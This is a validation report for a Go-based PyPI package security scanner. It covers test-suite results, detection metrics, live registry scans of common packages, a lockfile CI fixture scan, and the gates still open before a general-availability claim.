Validation evidence + +### Test suites (2026-07-02, local, Go 1.25.2 darwin/arm64) + +- `go vet ./...` — clean. +- `go test ./...` — full suite green (includes 6 new parser depth tests, + 7 new analyzer artifact-depth tests, 1 new hermetic CI inventory test). +- `go test -race` on `internal/ci`, `internal/deps/python`, + `internal/analyzer/pypi`, `internal/scanner/pypi`, `internal/policy`, + `internal/risk` — green. +- Detection corpus (`pkgsafe test corpus --json`): dependency precision 1.0, + recall 1.0, direct/transitive recall 1.0, source-import recall 1.0, + false_warn_rate 0, false_block_rate 0, critical_detection_rate 1.0. +- Hermetic-test hardening: PyPI CI tests now isolate the home-keyed artifact + cache (`t.Setenv("HOME", tmp)`); a cross-package cache collision on + same-named fixture tarballs was observed and eliminated. + +### Live registry scans (real PyPI, 2026-07-02) + +| Package | Result | Notes | +|---|---|---| +| `requests==2.31.0` | BLOCK 100 | Correct: real advisories (GHSA-9hjg-9r4m-mvj7 malware indicator + 2 high CVEs); root setup.py shell-exec finding; wheel RECORD checks produced **no** false positives on a real wheel | +| `flask` (3.1.3) | ALLOW 0 | `flit_core.buildapi` recognized; no new-finding false positives | +| `click` (8.4.2) | ALLOW 20 | missing_license + new_package only | +| `click==8.1.7` | ALLOW 20 (was BLOCK 100) | Calibration fix above | +| `httpx` | ALLOW 0 | **Gate 1 observed:** default resolution selected `1.0.dev3` (a pre-release pip would not install) | +| `numpy` | scan error | **Gate 2 observed:** "artifact has too many files" (MaxExtractedFiles=5000); CI surfaces as UNKNOWN, direct scan fails hard | + +### Live `ci scan --ecosystem pypi` (fixture repo: pyproject.toml + uv.lock) + +Fixture: `demo-app` (virtual root) + `click 8.1.7` (registry, also in +pyproject) + `patched-lib` (git source). Result: + +- `demo-app` skipped ("local project or path source in uv.lock") — the + project itself is no longer scanned against PyPI. +- `click 8.1.7` scanned **once** (dedup verified by registry hit count in + the hermetic test), `direct: true` (manifest provenance), ALLOW 20. +- `patched-lib 1.0.0` → decision `unknown`, `direct: false`, reason + `direct_url_dependency_not_scanned` (fail closed). +- Overall decision: allow; summary `{scanned: 2, allow: 1, unknown: 1}`. + +## Remaining gates before a PyPI GA claim + +1. **pip-parity version resolution.** Default resolution can select + pre-releases (`httpx` → `1.0.dev3`) where `pip install` would pick the + latest stable. A GA scanner must scan what pip would install. +2. **Large-artifact handling.** Packages exceeding extraction caps + (numpy: >5000 files) fail as unscannable. Fail-closed is correct, but GA + needs either raised/streaming caps or a documented partial-scan mode so + the top of PyPI by downloads is actually scannable. +3. **Real-repo benchmark.** Run the existing benchmark harness + (`pkgsafe test benchmark --repo-list`) against a Python repo corpus + (poetry/uv/Pipfile projects) and record false-positive/negative rates, + as was done for npm before its GA. + +Non-gating known limitations (documented in `docs/known-limitations.md`): +conda `environment.yml` unimplemented; no behavior execution for Python +packages (static analysis only); `ci scan` requires `--ecosystem pypi` (the +npm lockfile default short-circuits auto-detection). + +## Loop summary + +- **Built:** table-aware lock parsing, hash/registry/source capture, + inventory dedup with direct/transitive honesty, direct-URL fail-closed + handling, orphaned-bytecode + wheel RECORD + data-scripts checks, + section-aware build-system risk (backend-path, direct-URL requires), + 5 new policy rules, Pipfile discovery in CI. +- **Reused:** existing `[[package]]` scan loop shape, `ParseRequirementSpec`, + install-surface calibration principle from Loop 1, `parallelScan`/ + `DecisionUnknown` fail-closed plumbing from the S4/S5 work, hermetic + httptest registry pattern from `TestCI_RunScan_PyPI`. +- **Fixed:** nested-manifest false block (click 8.1.7), uv.lock project + self-scan, `pkg @ url` name corruption, hash-line mis-parse, CI test cache + collision. +- **Deferred:** the three GA gates above; per-dependency registry routing + from lockfile-recorded registries into the scanner; using recorded hashes + to cross-check downloaded artifacts (needs per-version hash indexing). +- **Tested:** full suite + race + corpus + live scans as recorded above.